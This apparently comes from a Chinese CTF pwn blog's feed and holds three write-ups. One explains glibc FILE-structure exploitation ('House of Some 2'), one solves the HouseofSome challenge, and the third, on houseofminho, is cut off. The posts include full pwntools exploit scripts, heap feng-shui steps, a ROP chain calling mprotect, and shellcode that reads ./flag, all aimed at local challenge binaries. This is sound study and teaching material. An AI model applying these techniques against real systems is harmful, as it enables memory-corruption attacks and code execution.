&lt;p&gt;那么接下来，有请&lt;code&gt;_IO_default_xsputn&lt;/code&gt;和&lt;code&gt;_IO_default_xsgetn&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;我们阅读这两个函数源码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;size_t
_IO_default_xsgetn (FILE *fp, void *data, size_t n)
{
  size_t more = n;
  char *s = (char*) data;
  for (;;)
    {
      /* Data available. */
      if (fp-&amp;gt;_IO_read_ptr &amp;lt; fp-&amp;gt;_IO_read_end)
	{
	  size_t count = fp-&amp;gt;_IO_read_end - fp-&amp;gt;_IO_read_ptr;
	  if (count &amp;gt; more)
	    count = more;
	  if (count &amp;gt; 20)
	    {
	      s = __mempcpy (s, fp-&amp;gt;_IO_read_ptr, count);
	      fp-&amp;gt;_IO_read_ptr += count;
	    }
	  else if (count)
	    {
	      char *p = fp-&amp;gt;_IO_read_ptr;
	      int i = (int) count;
	      while (--i &amp;gt;= 0)
		*s++ = *p++;
	      fp-&amp;gt;_IO_read_ptr = p;
	    }
	    more -= count;
	}
      if (more == 0 || __underflow (fp) == EOF)
	break;
    }
  return n - more;
}


size_t
_IO_default_xsputn (FILE *f, const void *data, size_t n)
{
  const char *s = (char *) data;
  size_t more = n;
  if (more &amp;lt;= 0)
    return 0;
  for (;;)
    {
      /* Space available. */
      if (f-&amp;gt;_IO_write_ptr &amp;lt; f-&amp;gt;_IO_write_end)
	{
	  size_t count = f-&amp;gt;_IO_write_end - f-&amp;gt;_IO_write_ptr;
	  if (count &amp;gt; more)
	    count = more;
	  if (count &amp;gt; 20)
	    {
	      f-&amp;gt;_IO_write_ptr = __mempcpy (f-&amp;gt;_IO_write_ptr, s, count);
	      s += count;
	    }
	  else if (count)
	    {
	      char *p = f-&amp;gt;_IO_write_ptr;
	      ssize_t i;
	      for (i = count; --i &amp;gt;= 0; )
		*p++ = *s++;
	      f-&amp;gt;_IO_write_ptr = p;
	    }
	  more -= count;
	}
      if (more == 0 || _IO_OVERFLOW (f, (unsigned char) *s++) == EOF)
	break;
      more--;
    }
  return n - more;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以知道，这是对于fp内的缓冲区的操作，可以关注到的是这里函数内有两个关键的部分&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;_IO_default_xsgetn (FILE *fp, void *data, size_t n) 
    ==&amp;gt; __mempcpy(data, fp-&amp;gt;_IO_read_ptr, n);
_IO_default_xsputn (FILE *f, const void *data, size_t n) 
    ==&amp;gt; __mempcpy (f-&amp;gt;_IO_write_ptr, data, n);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果能够保证&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fp-&amp;gt;_IO_read_end - fp-&amp;gt;_IO_read_ptr == n
f-&amp;gt;_IO_write_end - f-&amp;gt;_IO_write_ptr == n
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;就不会进入&lt;code&gt;__underflow&lt;/code&gt;和&lt;code&gt;_IO_OVERFLOW&lt;/code&gt;降低其他函数的干扰&lt;/p&gt;
&lt;p&gt;这个时候就能衍生出一个大胆的想法，如果我们先将栈复制一份到可控的区域，再通过偏移写入，最后再拷贝回到栈内，那么我们就能完美的绕过canary并且，并不需要泄露canary&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;house-of-some-2/houseofsome2.png&quot; alt=&quot;houseofsome2&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;最后&lt;/h2&gt;
&lt;p&gt;又到了喜闻乐见的模板环节，Some1模板见https://github.com/CsomePro/Some-of-House&lt;/p&gt;
&lt;p&gt;相关偏移为Ubuntu GLIBC 2.35-0ubuntu3.1版本glibc&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *
context.log_level = &apos;debug&apos;
context.arch = &apos;amd64&apos;

tob = lambda x: str(x).encode()
io = process(&quot;./demo&quot;)

io.recvuntil(b&quot;[+] printf: &quot;)
printf_addr = int(io.recvuntil(b&quot;\n&quot;, drop=True), 16)
log.success(f&quot;printf_addr: {printf_addr:#x}&quot;)

def add(size):
    io.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;1&quot;)
    io.sendlineafter(b&quot;size&amp;gt; &quot;, tob(size))
    
def write(addr, size, content):
    io.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;2&quot;)
    io.sendlineafter(b&quot;size&amp;gt; &quot;, tob(size))
    io.sendlineafter(b&quot;addr&amp;gt; &quot;, tob(addr))
    io.sendafter(b&quot;content&amp;gt; &quot;, content)

def leave():
    io.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;3&quot;)

libc = ELF(&quot;./libc.so.6&quot;, checksec=False)
libc_base = printf_addr - libc.symbols[&quot;printf&quot;]
libc.address = libc_base
log.success(f&quot;libc_base: {libc_base:#x}&quot;)

_IO_wfile_jumps_maybe_mmap = libc.address + 0x215f40
log.success(f&quot;_IO_wfile_jumps_maybe_mmap: {_IO_wfile_jumps_maybe_mmap:#}&quot;)
_IO_str_jumps = libc.address + 0x2166c0
log.success(f&quot;_IO_str_jumps: {_IO_str_jumps:#}&quot;)
_IO_default_xsputn = _IO_str_jumps + 0x38
_IO_default_xsgetn = _IO_str_jumps + 0x40

# 此处直接修改_IO_2_1_stdout_内容
write(libc.symbols[&quot;_IO_2_1_stdout_&quot;], 0xe0, flat({
    0x0: 0x8000, # disable lock
    0x38: libc.symbols[&quot;_IO_2_1_stdout_&quot;], # _IO_buf_base
    0x40: libc.symbols[&quot;_IO_2_1_stdout_&quot;] + 0x1c8, # _IO_buf_end
    0x70: 0, # _fileno
    0xa0: libc.symbols[&quot;_IO_2_1_stdout_&quot;] + 0x100, # +0xe0可写即可
    0xc0: p32(0xffffffff), # _mode &amp;lt; 0
    0xd8: _IO_wfile_jumps_maybe_mmap - 0x18,
}, filler=b&quot;\x00&quot;))

# 拷贝栈上数据到可控地址，这里拷贝到_IO_2_1_stdout_的上方，方便下次写入顺便完成fp第三次控制
io.send(flat({
    0x8: libc.symbols[&quot;_IO_2_1_stdout_&quot;], # 需要可写地址
    
    0x38: libc.symbols[&quot;_IO_2_1_stdout_&quot;] - 0x1c8 + 0xc8, # _IO_buf_base
    0x40: libc.symbols[&quot;_IO_2_1_stdout_&quot;] + 0x1c8, # _IO_buf_end
    0xa0: libc.symbols[&quot;_IO_2_1_stdout_&quot;] + 0xe0,   
    0xc0: p32(0xffffffff),
    
    0xd8: _IO_default_xsputn - 0x90, # vtable
    0x28: libc.symbols[&quot;_IO_2_1_stdout_&quot;] - 0x1c8, # _IO_write_ptr
    0x30: libc.symbols[&quot;_IO_2_1_stdout_&quot;], # _IO_write_end

    0xe0: {
        0xe0: _IO_wfile_jumps_maybe_mmap
    }
}, filler=b&quot;\x00&quot;))

# 最后这里就可以劫持执行流到0xdeadbeaf了
io.send(flat({
    0: 0xdeadbeaf, # retn
    0x1c8-0xc8: {
        0x38: libc.symbols[&quot;_IO_2_1_stdout_&quot;] - 0x1c8 + 0xc8, # _IO_buf_base
        0x40: libc.symbols[&quot;_IO_2_1_stdout_&quot;] + 0x1c8, # _IO_buf_end
        0xa0: libc.symbols[&quot;_IO_2_1_stdout_&quot;] + 0xe0,   
        0xc0: p32(0xffffffff),

        0xd8: _IO_default_xsgetn - 0x90, # vtable
        0x08: libc.symbols[&quot;_IO_2_1_stdout_&quot;] - 0x1c8, # _IO_read_ptr
        0x10: libc.symbols[&quot;_IO_2_1_stdout_&quot;] + (0x1c8 - 0xc8), # _IO_read_end

        0xe0: {
            0xe0: _IO_wfile_jumps_maybe_mmap
        }
}
}, filler=b&quot;\x00&quot;))

io.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;house-of-some-2/image-20240129152356008.png&quot; alt=&quot;house-of-some-2&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;附录&lt;/h2&gt;
&lt;p&gt;demo程序&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// gcc demo.c -o demo
#include&amp;lt;stdio.h&amp;gt;

int main(){
    setbuf(stdin, 0);
    setbuf(stdout, 0);
    setbuf(stderr, 0);
    int c;
    printf(&quot;[+] printf: %p\n&quot;, &amp;amp;printf);
    while (1) {
        puts(
            &quot;1. add heap.\n&quot;
            &quot;2. write libc.\n&quot;
            &quot;3. exit&quot;);
            printf(&quot;&amp;gt; &quot;
        );
        scanf(&quot;%d&quot;, &amp;amp;c);
        if(c == 1) {
            int size;
            printf(&quot;size&amp;gt; &quot;);
            scanf(&quot;%d&quot;, &amp;amp;size);
            char *p = malloc(size);
            printf(&quot;[+] done %p\n&quot;, p);
            printf(&quot;content&amp;gt; &quot;);
            read(0, p, size);
        } else if(c == 2){
            size_t addr, size;
            printf(&quot;size&amp;gt; &quot;);
            scanf(&quot;%lld&quot;, &amp;amp;size);
            printf(&quot;addr&amp;gt; &quot;);
            scanf(&quot;%lld&quot;, &amp;amp;addr);
            printf(&quot;content&amp;gt; &quot;);
            read(0, (char*)addr, size);
        } else {
            break;
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>[2023春秋杯冬季赛]Pwn HouseofSome wp</title><link>https://blog.csome.cc/p/houseofsome-ichunqiu/</link><guid isPermaLink="true">https://blog.csome.cc/p/houseofsome-ichunqiu/</guid><pubDate>Tue, 23 Jan 2024 22:40:38 GMT</pubDate><content:encoded>&lt;h2&gt;题目&lt;/h2&gt;
&lt;p&gt;题目源码如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// gcc houseofsome.c -o houseofsome -Wl,--dynamic-linker=./ld-linux-x86-64.so.2 -Wl,--rpath=./
#include&amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include&amp;lt;sys/mman.h&amp;gt;
#include &amp;lt;linux/seccomp.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;sys/prctl.h&amp;gt;

static void install_seccomp() {
  static unsigned char filter[] = {32,0,0,0,4,0,0,0,21,0,0,5,62,0,0,192,32,0,0,0,0,0,0,0,53,0,3,0,0,0,0,64,21,0,2,0,59,0,0,0,21,0,1,0,66,1,0,0,6,0,0,0,0,0,255,127,6,0,0,0,0,0,0,0};
  struct prog {
    unsigned short len;
    unsigned char *filter;
  } rule = {
    .len = sizeof(filter) &amp;gt;&amp;gt; 3,
    .filter = filter
  };
  if(prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) &amp;lt; 0) { perror(&quot;prctl(PR_SET_NO_NEW_PRIVS)&quot;); exit(2); }
  if(prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &amp;amp;rule) &amp;lt; 0) { perror(&quot;prctl(PR_SET_SECCOMP)&quot;); exit(2); }
}

int init() {
    size_t tmp1 = stdin;
    setbuf(tmp1, 0);
    size_t tmp2 = stdout;
    setbuf(tmp2, 0);
    size_t tmp3 = stderr;
    setbuf(tmp3, 0);
    install_seccomp();
}

size_t getint(){
    size_t tmp;
    scanf(&quot;%lld&quot;, &amp;amp;tmp);
    return tmp;
}

void readline(char *buf, size_t n) {
    char tmp;
    size_t i = 0;
    for(; i &amp;lt; n &amp;amp;&amp;amp; read(0, &amp;amp;tmp, 1) &amp;gt; 0; ++i) {
        if(tmp == &apos;\n&apos;) {
            buf[i] = 0;
            return;
        }
        buf[i] = tmp;
    }
    buf[i] = 0;
} 

char *name = 0;
FILE* dev = 0;
int magic = 0;
char *pool[2] = {0};
int idx = 1;

void change_name(){
    char buf[0x100];
    size_t size;
    printf(&quot;size&amp;gt; &quot;);
    size = getint();
    if(size &amp;lt;= 0 || size &amp;gt; 0x2000) {
        puts(&quot;wrong.&quot;);
        return;
    }
    idx = 1 - idx;
    name = pool[idx];
    if(name) free(name);
    printf(&quot;name&amp;gt; &quot;);
    name = malloc(size + 1);
    pool[idx] = name;
    readline(name, size);
}

void change_dev() {
    char buf[0x100];
    if(dev) fclose(dev);
    size_t op;
    printf(&quot;1. /dev/urandom\n2. /dev/zero\n3. /dev/null\ndev&amp;gt; &quot;);
    op = getint();
    if(op == 1) dev = fopen(&quot;/dev/urandom&quot;, &quot;rb&quot;);
    else if(op == 2) dev = fopen(&quot;/dev/zero&quot;, &quot;rb&quot;);
    else dev = fopen(&quot;/dev/null&quot;, &quot;rb&quot;);
    if(dev == NULL){
        puts(&quot;open dev error.&quot;);
        return;
    }
    setbuf(dev, 0);
}

void draw() {
    char buf[0x100];
    if(magic || !dev || !name) {
        puts(&quot;wrong.&quot;);
        return;
    }
    size_t addr, length;
    printf(&quot;offset&amp;gt; &quot;);
    addr = getint();
    printf(&quot;length&amp;gt; &quot;);
    length = getint();
    if(length &amp;lt; 0 || length &amp;gt; 8) {
        puts(&quot;wrong.&quot;);
        return;
    }
    fread(0x114514000+addr, 1, 1, dev);
    magic = 1;
}

void show() {
    char buf[0x100];
    printf(&quot;name: %s\n&quot;, name);
    printf(&quot;picture: &quot;);
    write(1, 0x114514000, 0x1000);
    printf(&quot;\n&quot;);
}

int main(){
    init();
    size_t choice;
    if(mmap(0x114514000, 0x1000, PROT_READ | PROT_WRITE, 0x22, -1, 0) == -1){
        printf(&quot;mmap error.\n&quot;);
        exit(0);
    }
    printf(&quot;gift: %p\n&quot;, 0x114514000);
    while (1) {
        printf(&quot;1. name\n2. dev\n3. draw\n4 .show\n5. exit\n&amp;gt; &quot;);
        choice = getint();
        switch (choice){
            case 1:
                change_name();
                break;
            case 2:
                change_dev();
                break;
            case 3:
                draw();
                break;
            case 4:
                show();
                break;  
            case 5:
                exit(0);
                break;
            default:
                printf(&quot;invalid option %ld.\n&quot;, choice);
                break;
        }
    }
    
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;除了题目代码之外，还自己编译了一个libc，加上patch，patch如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;diff --git a/libio/libioP.h b/libio/libioP.h
index 745278e..b3858d1 100644
--- a/libio/libioP.h
+++ b/libio/libioP.h
@@ -100,7 +100,7 @@
 #define _IO_JUMPS_FILE_plus(THIS) \
   _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE_plus, vtable)
 #define _IO_WIDE_JUMPS(THIS) \
-  _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)-&amp;gt;_wide_vtable
+  (IO_validate_vtable(_IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)-&amp;gt;_wide_vtable))
 #define _IO_CHECK_WIDE(THIS) \
   (_IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data) != NULL)

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到，这里对wide_data加上了patch&lt;/p&gt;
&lt;p&gt;编译时的命令如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CC=&quot;gcc&quot; CXX=&quot;g++&quot; CFLAGS=&quot;-g -g3 -ggdb -gdwarf-4 -Og -Wno-error&quot; CXXFLAGS=&quot;-g -g3 -ggdb -gdwarf-4 -Og -Wno-error&quot; ../configure --prefix=/home/csome/houseofsome/glibc-2.38/build/x64 --disable-werror --enable-bind-now
make
make install
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;详细编译流程见Tover师兄写的https://0xffff.one/d/337&lt;/p&gt;
&lt;h2&gt;简单的分析&lt;/h2&gt;
&lt;p&gt;通过逆向可以知道，这里泄露libc是通过scanf的未写入trick实现的，但是ida观察init函数的时候，并不能发现stdin等数据放到了栈上，需要gdb观察或者阅读汇编才知道。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int init() {
    size_t tmp1 = stdin;
    setbuf(tmp1, 0);
    size_t tmp2 = stdout;
    setbuf(tmp2, 0);
    size_t tmp3 = stderr;
    setbuf(tmp3, 0);
    install_seccomp();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其次，这里有一次libc内任意地址写\x00的机会在draw功能&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void draw() {
    char buf[0x100];
    if(magic || !dev || !name) {
        puts(&quot;wrong.&quot;);
        return;
    }
    size_t addr, length;
    printf(&quot;offset&amp;gt; &quot;);
    addr = getint();
    printf(&quot;length&amp;gt; &quot;);
    length = getint();
    if(length &amp;lt; 0 || length &amp;gt; 8) {
        puts(&quot;wrong.&quot;);
        return;
    }
    fread(0x114514000+addr, 1, 1, dev);
    magic = 1;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;还有一个小trick——fopen，这个函数会使用malloc分配一个IO_FILE_plus结构，作为打开文件的管理块，并通过头插法进入IO_list_all&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void change_dev() {
    char buf[0x100];
    if(dev) fclose(dev);
    size_t op;
    printf(&quot;1. /dev/urandom\n2. /dev/zero\n3. /dev/null\ndev&amp;gt; &quot;);
    op = getint();
    if(op == 1) dev = fopen(&quot;/dev/urandom&quot;, &quot;rb&quot;);
    else if(op == 2) dev = fopen(&quot;/dev/zero&quot;, &quot;rb&quot;);
    else dev = fopen(&quot;/dev/null&quot;, &quot;rb&quot;);
    if(dev == NULL){
        puts(&quot;open dev error.&quot;);
        return;
    }
    setbuf(dev, 0);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;总结一下&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;已知Libc地址&lt;/li&gt;
&lt;li&gt;一次libc内任意地址写1字节\x00，off by null&lt;/li&gt;
&lt;li&gt;fopen能使得IO_list_all内写入heap地址&lt;/li&gt;
&lt;li&gt;由于wide_data的vtable加入了check，故不能使用apple2的链条&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;House of Some&lt;/h2&gt;
&lt;p&gt;详细的原理见https://blog.csome.cc/p/house-of-some/&lt;/p&gt;
&lt;p&gt;其使用的方法是&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;已知glibc基地址&lt;/li&gt;
&lt;li&gt;可控的已知地址（可写入内容构造fake file）&lt;/li&gt;
&lt;li&gt;需要一次libc内任意地址写可控地址&lt;/li&gt;
&lt;li&gt;程序能正常退出或者通过exit()退出&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;其中，条件1和4程序中可以直接满足，条件3可以通过fopen和一次off by null完成，条件2可以被弱化，并不需要已知，只需要可控即可&lt;/p&gt;
&lt;p&gt;那么在构造任意地址写的fake_file的过程中，需要wide_data指针，这个指针需要在可控地址位置——堆内，但是我们并不能泄露堆地址&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fake_file_read = flat({
    0x00: 0, # _flags
    0x20: 0, # _IO_write_base
    0x28: 0, # _IO_write_ptr
    
    0x38: 任意地址写的起始地址, # _IO_buf_base
    0x40: 任意地址写的终止地址, # _IO_buf_end
	
    0x70: 0, # _fileno
    0x82: b&quot;\x00&quot;, # _vtable_offset
    0xc0: 2, # _mode
    0xa0: wide_data的地址, # _wide_data
    0x68: 下一个调用的fake file地址, # _chain
    0xd8: _IO_wfile_jumps, # vtable
}, filler=b&quot;\x00&quot;)

fake_wide_data = flat({
    0xe0: _IO_file_jumps - 0x48,
    0x18: 0,
    0x20: 1,
    0x30: 0,
}, filler=b&quot;\x00&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里需要使用largebin的next size指针残留，构造出一个合法的wide_data地址&lt;/p&gt;
&lt;p&gt;PS：这里可以运用https://enllus1on.github.io/2024/01/22/new-read-write-primitive-in-glibc-2-38/#more，改进后就不需要wide_data了&lt;/p&gt;
&lt;p&gt;风水脚本如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;name(0x2b0-1, flat({
    0x260: {
        0x18: 0,
        0x20: 1,
        0x30: 0,
    }
}, filler=b&quot;\x00&quot;) + b&quot;\n&quot;)
name(0x1f00-0x730-1, b&quot;aa&quot; + b&quot;\n&quot;)
name(0x400-1, b&quot;aa&quot; + b&quot;\n&quot;)
name(0x590-1, flat({
    0xe0-0x60: libc.symbols[&apos;_IO_file_jumps&apos;] - 0x48
}, filler=b&quot;\x00&quot;) + b&quot;\n&quot;)
name(0x50-1, b&quot;aa&quot; + b&quot;\n&quot;)
name(0x600-1, b&quot;aa&quot; + b&quot;\n&quot;)
name(0x610-1, b&quot;aa&quot; + b&quot;\n&quot;)
name(0x300-1, b&quot;aa&quot; + b&quot;\n&quot;)
name(0x2f0-1, b&quot;aa&quot; + b&quot;\n&quot;)
name(0x360-1, b&quot;aa&quot; + b&quot;\n&quot;)
name(0x210-1, b&quot;aa&quot; + b&quot;\n&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最后伪造，这里中间需要使用指针残留，所以伪造fake_file的时候，需要分开&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;environ = libc.symbols[&apos;__environ&apos;]
name(0xb0-1, flat({
    0x00: 0, # _flags
    0x20: 0, # _IO_write_base
    0x28: 0, # _IO_write_ptr
    
    0x38: environ+8, # _IO_buf_base
    0x40: environ+8+0x400, # _IO_buf_end
	
    0x70: 0, # _fileno
    0x68: environ+8, # _chain
    0x82: b&quot;\x00&quot;, # _vtable_offset
    0x88: environ-0x10,
    0xa0: b&quot;\n&quot;
}, filler=b&quot;\x00&quot;))
name(0x20-1, flat({
    0xc0-0x20-0xa0: 2, # _mode
    0xd8-0x20-0xa0: libc.symbols[&apos;_IO_wfile_jumps&apos;], # vtable
}, filler=b&quot;\x00&quot;)[:-1] + b&quot;\n&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最后houseofsome一把梭&lt;/p&gt;
&lt;h2&gt;完整exp&lt;/h2&gt;
&lt;p&gt;House_of_some工具见https://github.com/CsomePro/House-of-Some&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *
from House_of_some import HouseOfSome

context.log_level = &apos;debug&apos;
context.arch = &apos;amd64&apos;

shellcode = asm(
f&quot;&quot;&quot;
mov rax, {u64(b&quot;./flag&quot; + bytearray([0,0]))}
push rax
mov rdi, rsp
mov rsi, 0
mov rax, 2
syscall

mov rdi, rax
mov rsi, rsp
mov rdx, 0x40
mov rax, 0
syscall

mov rdi, 1
mov rsi, rsp
mov rdx, 0x40
mov rax, 1
syscall
&quot;&quot;&quot;)

io = process(&quot;./houseofsome&quot;)
# io = remote(&quot;127.0.0.1&quot;, 12000)
tob = lambda x: str(x).encode()

def name(size, content):
    io.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;1&quot;)
    io.sendlineafter(b&quot;size&amp;gt; &quot;, tob(size))
    io.sendafter(b&quot;name&amp;gt; &quot;, content)

def dev(idx):
    io.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;2&quot;)
    io.sendlineafter(b&quot;dev&amp;gt; &quot;, tob(idx))
    
def draw(offset, length):
    io.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;3&quot;)
    io.sendlineafter(b&quot;offset&amp;gt; &quot;, tob(offset))
    io.sendlineafter(b&quot;length&amp;gt; &quot;, tob(length))

def leave():
    io.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;5&quot;)

io.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;-&quot;)
io.recvuntil(b&quot;invalid option &quot;)
leak = int(io.recvuntil(b&quot;.&quot;, drop=True))
log.success(f&quot;leak : {leak:#x}&quot;)
libc_base = leak - 0x2205c0
log.success(f&quot;libc_base : {libc_base:#x}&quot;)

libc = ELF(&quot;./libc.so.6&quot;, checksec=None)
libc.address = libc_base

name(0x2b0-1, flat({
    0x260: {
        0x18: 0,
        0x20: 1,
        0x30: 0,
    }
}, filler=b&quot;\x00&quot;) + b&quot;\n&quot;)
name(0x1f00-0x730-1, b&quot;aa&quot; + b&quot;\n&quot;)
name(0x400-1, b&quot;aa&quot; + b&quot;\n&quot;)
name(0x590-1, flat({
    0xe0-0x60: libc.symbols[&apos;_IO_file_jumps&apos;] - 0x48
}, filler=b&quot;\x00&quot;) + b&quot;\n&quot;)
name(0x50-1, b&quot;aa&quot; + b&quot;\n&quot;)
name(0x600-1, b&quot;aa&quot; + b&quot;\n&quot;)
name(0x610-1, b&quot;aa&quot; + b&quot;\n&quot;)
name(0x300-1, b&quot;aa&quot; + b&quot;\n&quot;)
name(0x2f0-1, b&quot;aa&quot; + b&quot;\n&quot;)
name(0x360-1, b&quot;aa&quot; + b&quot;\n&quot;)
name(0x210-1, b&quot;aa&quot; + b&quot;\n&quot;)

environ = libc.symbols[&apos;__environ&apos;]

name(0xb0-1, flat({
    0x00: 0, # _flags
    0x20: 0, # _IO_write_base
    0x28: 0, # _IO_write_ptr
    
    0x38: environ+8, # _IO_buf_base
    0x40: environ+8+0x400, # _IO_buf_end
	
    0x70: 0, # _fileno
    0x68: environ+8, # _chain
    0x82: b&quot;\x00&quot;, # _vtable_offset
    0x88: environ-0x10,
    0xa0: b&quot;\n&quot;
}, filler=b&quot;\x00&quot;))

name(0x20-1, flat({
    0xc0-0x20-0xa0: 2, # _mode
    0xd8-0x20-0xa0: libc.symbols[&apos;_IO_wfile_jumps&apos;], # vtable
}, filler=b&quot;\x00&quot;)[:-1] + b&quot;\n&quot;)

dev(2)
draw(libc.symbols[&quot;_IO_list_all&quot;] - 0x114514000, 1)
leave()

hos = HouseOfSome(libc, environ+8, environ-0x10)
stack = hos.bomb_raw(io, libc.symbols[&quot;_IO_flush_all&quot;] + 481)
log.success(f&quot;stack : {stack:#x}&quot;)

pop_rdx = 0x0000000000096272 + libc_base

rop = ROP(libc)
rop.base = stack
rop.raw(pop_rdx)
rop.raw(7)
rop.call(&apos;mprotect&apos;, [stack &amp;amp; (~0xfff), 0x1000])
rop.raw(stack + 0x40)
log.info(rop.dump())
rop_chain = rop.chain()

assert b&quot;\n&quot; not in rop_chain, &quot;\\n in rop_chain&quot;
io.sendline(rop_chain + shellcode)

context.log_level = &apos;info&apos;
io.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;碎碎念&lt;/h2&gt;
&lt;p&gt;出题的时候有些疏忽，忘记了main_arena也在libc内，导致可以off by null修改TopChunk，使得最后能够控制堆结构&lt;/p&gt;
&lt;p&gt;但是这个方法较为复杂，是一个小小的非预期，在比赛还有30个小时多的时候放出，在14小时之后出现第一血，最后只有5解出，算是预期之内吧&lt;/p&gt;
&lt;p&gt;接下来如果还有机会，我还会带来更加有趣的利用手法的题目，敬请期待吧&lt;/p&gt;
</content:encoded></item><item><title>[Black Hat 2023] Pwn Houseofminho Csome writeup</title><link>https://blog.csome.cc/p/houseofminho-wp/</link><guid isPermaLink="true">https://blog.csome.cc/p/houseofminho-wp/</guid><pubDate>Sat, 18 Nov 2023 11:37:18 GMT</pubDate><content:encoded>&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;这个是2023 black hat第二天的一道0解pwn题&lt;/p&gt;
&lt;p&gt;https://gitee.com/csomebro/ctftask/blob/master/2023-11_BlackHat/houseofminho.zip&lt;/p&gt;
&lt;h1&gt;题目&lt;/h1&gt;
&lt;p&gt;出题人很友好的给了源码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#define SIZE_SMALL 0x40
#define SIZE_BIG   0x80

char *g_buf;

int getint(const char *msg) {
  int val;
  printf(&quot;%s&quot;, msg);
  if (scanf(&quot;%d%*c&quot;, &amp;amp;val) != 1) exit(1);
  return val;
}

int main() {
  setvbuf(stdout, NULL, _IONBF, 0);

  while (1) {
    puts(&quot;1. new\n2. show\n3. delete&quot;);
    switch (getint(&quot;&amp;gt; &quot;)) {
      case 1: { /* new */
        if (g_buf) {
          puts(&quot;[-] Buffer in use&quot;);
          break;
        }

        if (getint(&quot;Size [1=small / 2=big]: &quot;) == 1) {
          g_buf = (char*)malloc(SIZE_SMALL);
        } else {
          g_buf = (char*)malloc(SIZE_BIG);
        }

        printf(&quot;Data: &quot;);
        read(STDIN_FILENO, g_buf, SIZE_BIG);
        g_buf[strcspn(g_buf, &quot;\n&quot;)] = &apos;\0&apos;;
        break;
      }

      case 2: { /* show */
        if (!g_buf) {
          puts(&quot;[-] Empty buffer&quot;);
        } else {
          printf(&quot;Data: %s\n&quot;, g_buf);
        }
        break;
      }

      case 3: { /* delete */
        if (!g_buf) {
          puts(&quot;[-] Empty buffer&quot;);
        } else {
          free(g_buf);
          g_buf = NULL;
        }
        break;
      }

      default:
        puts(&quot;[+] Bye!&quot;);
        return 0;
    }
  }
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;题面十分的简短，主要实现了三个功能，分别为&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;add功能，可以申请&lt;code&gt;malloc(0x80)&lt;/code&gt;以及&lt;code&gt;malloc(0x40)&lt;/code&gt;，无论申请哪一个，都会&lt;code&gt;read(0, g_buf, 0x80)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;show功能，直接打印&lt;code&gt;g_buf&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;free功能，&lt;code&gt;free(g_buf)&lt;/code&gt;之后，清空&lt;code&gt;g_buf&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Glibc 版本 为2.35-3.1&lt;/p&gt;
&lt;h1&gt;漏洞&lt;/h1&gt;
&lt;p&gt;显而易见，漏洞就在add功能中&lt;code&gt;read(0, g_buf, 0x80)&lt;/code&gt;，但是局限十分多&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;申请堆块的大小被严格限制，只有0x40和0x80两种申请&lt;/li&gt;
&lt;li&gt;可以保存的堆块仅仅只有一块，也就是如果需要再次malloc，必须先free&lt;/li&gt;
&lt;/ol&gt;
